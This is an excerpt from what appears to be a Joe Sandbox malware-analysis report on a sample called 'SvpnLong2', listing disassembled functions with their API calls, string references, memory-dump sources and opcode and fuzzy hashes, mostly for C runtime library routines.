Instruction Fuzzy Hash: 37529030164A8D8FDBA9EF2CC8587ED37D1FB68350F90262AE85AC7191DF709585C782

Function 021651A4 Relevance: 5.8, Strings: 4, Instructions: 795COMMONLIBRARYCODE

Download Yara Rule

Strings

1#IND, xrefs: 021652D3
1#SNAN, xrefs: 0216528E
1#INF, xrefs: 0216530A
1#QNAN, xrefs: 02165341

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID:
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 0-2761157908
Opcode ID: 04328c57747a554801fa2fa068e0d3dbf0d0932564e18481a4ae3c965d632057
Instruction ID: 4350bc1499d0e29b5273f757a32686aa09d15b3cd2d333a269fb869c6689284b
Opcode Fuzzy Hash: 04328c57747a554801fa2fa068e0d3dbf0d0932564e18481a4ae3c965d632057
Instruction Fuzzy Hash: 9552DD77B642919AE728CFB9C018BBE3BB3B74474CB859019DE0667F48EB348525CB50

Function 021524A0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 229memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 0215274E

Strings

base, xrefs: 0215267B

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: AllocLocal
String ID: base
API String ID: 3494564517-3233087073
Opcode ID: edbfe02e436e56d0dffe3037d09f5d19429651610ca2561b4edec7bd7cbfec16
Instruction ID: 3911fdd023d1661d8413ce170e5624126ae0ed2f611d1a9fa4336b5b32b626a1
Opcode Fuzzy Hash: edbfe02e436e56d0dffe3037d09f5d19429651610ca2561b4edec7bd7cbfec16
Instruction Fuzzy Hash: A88114A3750694C6DB24CF26E05032E77A2F788F94F548255DF6A0BB55DF39C492CB40

Function 02142380 Relevance: 5.2, APIs: 4, Instructions: 244memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00000000,00000000,?,021422C7), ref: 021424B6
VirtualFree.KERNEL32(?,?,00000000,00000000,?,021422C7), ref: 021424F0
VirtualAlloc.KERNEL32(?,?,00000000,00000000,?,021422C7), ref: 02142643
VirtualFree.KERNEL32(?,?,00000000,00000000,?,021422C7), ref: 02142678

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 667e7e1166942ad4a01b563a56df34aace26f67ad1df216b49367f5cf7a47c00
Instruction ID: a67dda2f1ffa4309ae7e2a3f1788ebd92d84f2d1c3039f274229f4916dbd083f
Opcode Fuzzy Hash: 667e7e1166942ad4a01b563a56df34aace26f67ad1df216b49367f5cf7a47c00
Instruction Fuzzy Hash: 3E91DF32340A949BCB1D9F2AC26476E77A5F748B88F058529EE2E57714DF34D8E1CB80

Function 02152020 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0215209A
VirtualFree.KERNEL32(?,?,00000000,02151EDE,?,?,?,0214E182), ref: 021520B5
GetProcessHeap.KERNEL32(?,?,00000000,02151EDE,?,?,?,0214E182), ref: 021520BB
HeapFree.KERNEL32(?,?,00000000,02151EDE,?,?,?,0214E182), ref: 021520C9

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: FreeHeap$ProcessVirtualfree
String ID:
API String ID: 4282497734-0
Opcode ID: f26f74e579be28588a13ed5e4f7d6e2746d7d4c2692a86a97de5c24af044b0c8
Instruction ID: b1e0de75aa346157fd4622585e03d2137a943a5bc2d3dc84a2ddf9969977e4d5
Opcode Fuzzy Hash: f26f74e579be28588a13ed5e4f7d6e2746d7d4c2692a86a97de5c24af044b0c8
Instruction Fuzzy Hash: 9C116A33652A60C7DB68CF66E44431DB361FB88F88F095061EE5A17B18CF38C492CB80

Function 01E678DC Relevance: 4.8, APIs: 3, Instructions: 302COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 01E678FD
_invalid_parameter_noinfo.LIBCMT ref: 01E67909
_errno.LIBCMT ref: 01E67936

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 12095cc6e6c6656046d0964d28f1b6b7969298eb9375bab5b3475d2de16608da
Instruction ID: cbc18b2a91762fa5ea7ceb649b18af03151696e22c529ad3194b51100199e6f0
Opcode Fuzzy Hash: 12095cc6e6c6656046d0964d28f1b6b7969298eb9375bab5b3475d2de16608da
Instruction Fuzzy Hash: 2D812C31B6494B0FD70C9E2C8C6A2B836CAE7D9219758E27EE547CF7A6E934D5428340

Function 02157F24 Relevance: 4.7, APIs: 3, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 02157F45
_invalid_parameter_noinfo.LIBCMT ref: 02157F51
_errno.LIBCMT ref: 02157F7E

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 9318081bc90adb89e222cb5cb55b6d4af5944e9728e9188c6bb36d3a18d913af
Instruction ID: a320c6cdbae657925b3b2d71fd3fb2e2d2d8ab3f4f77b9e016f506e8cb763529
Opcode Fuzzy Hash: 9318081bc90adb89e222cb5cb55b6d4af5944e9728e9188c6bb36d3a18d913af
Instruction Fuzzy Hash: FC613CB2B116598BCB1C8F28DC11368A657A7D4784F49C236EE298F7D8F73CE6418740

Function 0215D0C8 Relevance: 4.6, APIs: 3, Instructions: 70COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0215D0EA

Part of subcall function 02154958: _amsg_exit.LIBCMT ref: 0215496E

GetLocaleInfoA.KERNEL32 ref: 0215D11F

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: InfoLocale_amsg_exit_getptd
String ID:
API String ID: 488165793-0
Opcode ID: 0d1d7dabd5a7529cda664a5c36b5a6e15a5721f096bae069a19ee0cd53d00cbe
Instruction ID: 669b1e27fff1d939d250ef5705588d3a2981b6ecdc73d993074c4e204189f45b
Opcode Fuzzy Hash: 0d1d7dabd5a7529cda664a5c36b5a6e15a5721f096bae069a19ee0cd53d00cbe
Instruction Fuzzy Hash: 8C217C32344AC1DBEB299F65E9847DAB3A1F788749F004166CB298B654DF38D4A8CB00

Function 01E672F0 Relevance: 3.3, APIs: 2, Instructions: 311COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 01E67562
_get_daylight.LIBCMT ref: 01E675E8

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _get_daylight
String ID:
API String ID: 4143689357-0
Opcode ID: b43875ae3d155f59fd31952636780625fee8c62a4db5b3f3ddbd55815cc4839e
Instruction ID: 19492a0f24818d04c1cbdb65bcc2ab86883a295b44a9d14fe233d2920d7dee90
Opcode Fuzzy Hash: b43875ae3d155f59fd31952636780625fee8c62a4db5b3f3ddbd55815cc4839e
Instruction Fuzzy Hash: CE916A71B946454FD71CDE2CCC826B9B7DAF3D8308F54A13ED987CB696EA30E5028681

Function 01E69BFC Relevance: 3.2, APIs: 2, Instructions: 240COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 01E69C41
_set_error_mode.LIBCMT ref: 01E69C52

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _set_error_mode
String ID:
API String ID: 1949149715-0
Opcode ID: 4a6ef05bb1344ac240cbe714e762fe31f78d8db34911ef9df8dbf64b02ac3932
Instruction ID: d428726c833d73aa4002073c03be30e04c27d179b7376802c6155f732f0c8303
Opcode Fuzzy Hash: 4a6ef05bb1344ac240cbe714e762fe31f78d8db34911ef9df8dbf64b02ac3932
Instruction Fuzzy Hash: 5D51C630358A494FDB6CEF38A85927E73D9EBA8388F80553EE55BC3192EE34C5058646

Function 02157938 Relevance: 3.2, APIs: 2, Instructions: 235COMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 02157BAA

Part of subcall function 02158224: _errno.LIBCMT ref: 0215822D
Part of subcall function 02158224: _invalid_parameter_noinfo.LIBCMT ref: 02158238

_get_daylight.LIBCMT ref: 02157C30

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _get_daylight$_errno_invalid_parameter_noinfo
String ID:
API String ID: 3559991230-0
Opcode ID: b43875ae3d155f59fd31952636780625fee8c62a4db5b3f3ddbd55815cc4839e
Instruction ID: d96cd9ce74293a19b4620ddad0fefd97eaff1089c84049589bd10f19f5b12206
Opcode Fuzzy Hash: b43875ae3d155f59fd31952636780625fee8c62a4db5b3f3ddbd55815cc4839e
Instruction Fuzzy Hash: D3812872B14651CBC72CCF19ED927A8F666F3E8304F489135EE158BB94E738EA018B40

Function 0215CC80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0215CCA7

Part of subcall function 02154958: _amsg_exit.LIBCMT ref: 0215496E

GetLocaleInfoA.KERNEL32 ref: 0215CCDC

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: InfoLocale_amsg_exit_getptd
String ID:
API String ID: 488165793-0
Opcode ID: 5705fe9de9e157a2e3cae8713e8d2649932cfe5d572dd4c556fb6d9254b7d2dd
Instruction ID: d1b438408230dc3a3cacafc5f032bd77b13b448f066fdf2589941f8315d5102f
Opcode Fuzzy Hash: 5705fe9de9e157a2e3cae8713e8d2649932cfe5d572dd4c556fb6d9254b7d2dd
Instruction Fuzzy Hash: E011AC32744BD4DADB28CF25E8493CAB3A5F788B84F444166CF6987314DB39E525CB80

Function 02156A70 Relevance: 1.7, APIs: 1, Instructions: 156COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 02156AAA

Part of subcall function 02154958: _amsg_exit.LIBCMT ref: 0215496E

Part of subcall function 0215739C: _errno.LIBCMT ref: 021573B4
Part of subcall function 0215739C: _invalid_parameter_noinfo.LIBCMT ref: 021573C0

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _amsg_exit_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 1050512615-0
Opcode ID: 63d5376f7ad8fc802d07a42a5e8d8134ff05aa5f227477d242ca8ca847e69a33
Instruction ID: 8826adb2c0a2d15a775b1b181452ea5661f0fb8de3369191f46173abf5868c1b
Opcode Fuzzy Hash: 63d5376f7ad8fc802d07a42a5e8d8134ff05aa5f227477d242ca8ca847e69a33
Instruction Fuzzy Hash: 9C512B623546E5C6DB34DF22E65076BA76AFB94BD4F8480A19F6A47B08DF3DC042C780

Function 0215CD68 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 0215CD9C

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: ef0ae90558a2563977780bc8b992b878a5525057e93b521f65adeab4ce995e93
Instruction ID: c06807d85ca06f41dca24e2e43b92c4729bbdc169207027eb1a4eb6b2a19719c
Opcode Fuzzy Hash: ef0ae90558a2563977780bc8b992b878a5525057e93b521f65adeab4ce995e93
Instruction Fuzzy Hash: 1E01B532690BA0CAD7245F29E4503A92B61E384B88F494163DF69CB705CB36C883C7C4

Function 0215D1F8 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32 ref: 0215D248

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 489544c5c1561f8a60114285fa019722ad62f90afbd21461303d513425ade99a
Instruction ID: 46102782218b5591df2f8399ee39c7bc3b82076ef2d2591d24c2aa92466300e0
Opcode Fuzzy Hash: 489544c5c1561f8a60114285fa019722ad62f90afbd21461303d513425ade99a
Instruction Fuzzy Hash: C401D272700714CBEB18DF30E05A3AA37A1F794B0DF088455CE2902298CBB8C1A5C781

Function 0215D290 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32 ref: 0215D2C5

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: bc37c9b42174135312cbea834ff9070d3af06bb7d383e6c7897b2d83843f5dbd
Instruction ID: be0ad407bfea0353921a60dc3975f0ac65af04de1f7b437a0e5bd96a288b2f72
Opcode Fuzzy Hash: bc37c9b42174135312cbea834ff9070d3af06bb7d383e6c7897b2d83843f5dbd
Instruction Fuzzy Hash: 09F0F672B00A14CFF7189B31E4153AA27A2E7D4B09F18C455CE6903295C7B8C1968341

Function 021538A4 Relevance: 1.5, APIs: 1, Instructions: 22timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 021538B2

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: c55edd093e6a67b87af22172e2d563261f7e87cdd571db8748090715beb8a893
Instruction ID: b42b8b795570fba1841dc1d2757ac2047757ef3c84c89df7769626b0b62ae943
Opcode Fuzzy Hash: c55edd093e6a67b87af22172e2d563261f7e87cdd571db8748090715beb8a893
Instruction Fuzzy Hash: 01E0D8E2B25A4882EE15DB19E4193596291FF18FF0E04A3319E790FBE8EB1CC0558300

Function 0214E6F6 Relevance: 1.5, APIs: 1, Instructions: 12shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 02142DB0: LoadLibraryA.KERNEL32 ref: 02142DE1
Part of subcall function 02142DB0: GetProcAddress.KERNEL32 ref: 02142DF4
Part of subcall function 02142DB0: GetProcAddress.KERNEL32 ref: 02142E07
Part of subcall function 02142DB0: GetProcAddress.KERNEL32 ref: 02142E1A
Part of subcall function 02142DB0: LoadLibraryA.KERNEL32 ref: 02142E2A
Part of subcall function 02142DB0: GetProcAddress.KERNEL32 ref: 02142E3D
Part of subcall function 02142DB0: LoadLibraryA.KERNEL32 ref: 02142EA6
Part of subcall function 02142DB0: GetProcAddress.KERNEL32 ref: 02142EB6
Part of subcall function 02142DB0: CloseHandle.KERNEL32 ref: 02142ECC
Part of subcall function 02142DB0: FreeLibrary.KERNEL32 ref: 02142EDA
Part of subcall function 02142DB0: FreeLibrary.KERNEL32 ref: 02142EE8

ExitWindowsEx.USER32 ref: 0214E706

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: AddressLibraryProc$Load$Free$CloseExitHandleWindows
String ID:
API String ID: 3789203340-0
Opcode ID: b68418adac8e66983115cef8cbfa72da0d8c9e8de32800c15d5dd586479a703b
Instruction ID: 541614c5f94467184b28aae2e5f21b304e87aa352ea72969da2e189fff72a9dc
Opcode Fuzzy Hash: b68418adac8e66983115cef8cbfa72da0d8c9e8de32800c15d5dd586479a703b
Instruction Fuzzy Hash: AAD0226238858086D3089B31A0243FE6793EB8C752F090026BF8F0A289CE3DC1C0CB80

Function 01E5D42B Relevance: 1.4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

<, xrefs: 01E5D5CC

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 73098f46f60a16aae0a72572a1ec70f99aad56feaba569bcaf3d060d2753bf39
Instruction ID: c7d9b36ee86f65f2647925bc344d9b9b00e8dfa0fc9f0fea6812c6bcb416bca8
Opcode Fuzzy Hash: 73098f46f60a16aae0a72572a1ec70f99aad56feaba569bcaf3d060d2753bf39
Instruction Fuzzy Hash: B8519530709A088FEB44EF68EC59B997BE1FB95309F00851EE54BC3661DB79D845CB42

Function 0215664C Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

_.,, xrefs: 021566CC

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: CurrentProcess
String ID: _.,
API String ID: 2050909247-2709443920
Opcode ID: 475248472f72194b0618221c2e98033d5b278d04194db3a7864dbaf8a8f8d17c
Instruction ID: dec4e97ce89bc3b24e400fa380fc4de4f8f2023c7da555f439b23c84f986f90d
Opcode Fuzzy Hash: 475248472f72194b0618221c2e98033d5b278d04194db3a7864dbaf8a8f8d17c
Instruction Fuzzy Hash: E44153222807F1CAFB34DE75D855B6A37A6E394788FC88996CFA943A44DF79C044C780

Function 01E51D38 Relevance: .4, Instructions: 364COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dab8ebfa01812288c2bd50781cb84577b5c6f6cad01aab0e39859907a87239e
Instruction ID: 09f4c88f6f8a4dae1c2eb332164b1847f46ae1f2e17bb7ed70a3063c1add96cc
Opcode Fuzzy Hash: 0dab8ebfa01812288c2bd50781cb84577b5c6f6cad01aab0e39859907a87239e
Instruction Fuzzy Hash: 5FB1D230618E0A8FDB9DEF2CC485679B7E1FB58305B10562DE95AC7646DB30E892CBC1

Function 01E61E58 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05a5092d5cc288cda86c73315a18dfdcc9fc45c27ff5f31e837379ae7296e616
Instruction ID: b39f2fcaee902579e7e97a90607163f40db7f5402eb945820aa3222bac0f2df5
Opcode Fuzzy Hash: 05a5092d5cc288cda86c73315a18dfdcc9fc45c27ff5f31e837379ae7296e616
Instruction Fuzzy Hash: EAA1AB30254E4A4FDB99EF1CC08473977E6FBA8345F90A16DD54ACB297DA35C882C781

Function 01E51838 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61aec3bdabeeadfbc1d8e5710c9ac84fee701a44b258acd76909b7ab279bb187
Instruction ID: 68743590739749cfc8182da243d5a2b9dbb6408baffe6613a1bbfdad4648bc53
Opcode Fuzzy Hash: 61aec3bdabeeadfbc1d8e5710c9ac84fee701a44b258acd76909b7ab279bb187
Instruction Fuzzy Hash: ABA19C30608F869FD78EEB3CC4557A9B7E1FF59309B145229E98AC3601DB24F4628BC1

Function 01E53EE8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b81d4822c4807a28f12dd8b260e015ce51efabee9554ea12fc3a4bfb19bb2c28
Instruction ID: 2b47f3232325d5d07890a89da8fe0933c98f8a0b3a5d902f96b97d83e1bfbefa
Opcode Fuzzy Hash: b81d4822c4807a28f12dd8b260e015ce51efabee9554ea12fc3a4bfb19bb2c28
Instruction Fuzzy Hash: 1F61B731618A498FD7A9EF38D8586AE77E1FBA4310F60552ED44BC31A0EF38D641C742

Function 01E66004 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0a9c087c29423ca0a5297be30a63c1d1af4924b03ac0995c240b3f4ccd4690
Instruction ID: fdf6b30f5381a9bc42c31b60279ea72010c7615a5155575a6169c3745338fa21
Opcode Fuzzy Hash: 5e0a9c087c29423ca0a5297be30a63c1d1af4924b03ac0995c240b3f4ccd4690
Instruction Fuzzy Hash: DB412B302B4A4D8FEB79EA3888453BE72D9FB5C388F85AA2DC58BC3152DE24D4414681

Function 02165CC0 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e1e48596fdf5ea50ef3df4a9aab293c2a7286e8955242186005ffd8a8896482
Instruction ID: ff508134f6a76aa7466424b3c4db6ff5a6d1aa12a505473fb4ff27b0febe8b35
Opcode Fuzzy Hash: 5e1e48596fdf5ea50ef3df4a9aab293c2a7286e8955242186005ffd8a8896482
Instruction Fuzzy Hash: 3D513773B542A19BD7288F18E458F7D7AAAF394385BA1E038DB1287F40D776C860CB40

Function 02166520 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 340c5199076a00e3694ca5cf02f1b2638b967668a52d1342b8fc0eb0f1e758f6
Instruction ID: 9786c1b990731566347872f7874801d1945bf79407c5f801fc5679e04c419efc
Opcode Fuzzy Hash: 340c5199076a00e3694ca5cf02f1b2638b967668a52d1342b8fc0eb0f1e758f6
Instruction Fuzzy Hash: D3316F72651B54CDD71DEF72E85537E32A6EB98784F18D835AE994B708CF78C0118B80

Function 01E6B0FC Relevance: 107.8, APIs: 86, Instructions: 270COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 01E6B111

Part of subcall function 01E636E0: _errno.LIBCMT ref: 01E63700

free.LIBCMT ref: 01E6B11A
free.LIBCMT ref: 01E6B123
free.LIBCMT ref: 01E6B12C
free.LIBCMT ref: 01E6B135
free.LIBCMT ref: 01E6B13E
free.LIBCMT ref: 01E6B146
free.LIBCMT ref: 01E6B14F
free.LIBCMT ref: 01E6B158
free.LIBCMT ref: 01E6B161
free.LIBCMT ref: 01E6B16A
free.LIBCMT ref: 01E6B173
free.LIBCMT ref: 01E6B17C
free.LIBCMT ref: 01E6B185
free.LIBCMT ref: 01E6B18E
free.LIBCMT ref: 01E6B197
free.LIBCMT ref: 01E6B1A3
free.LIBCMT ref: 01E6B1AF
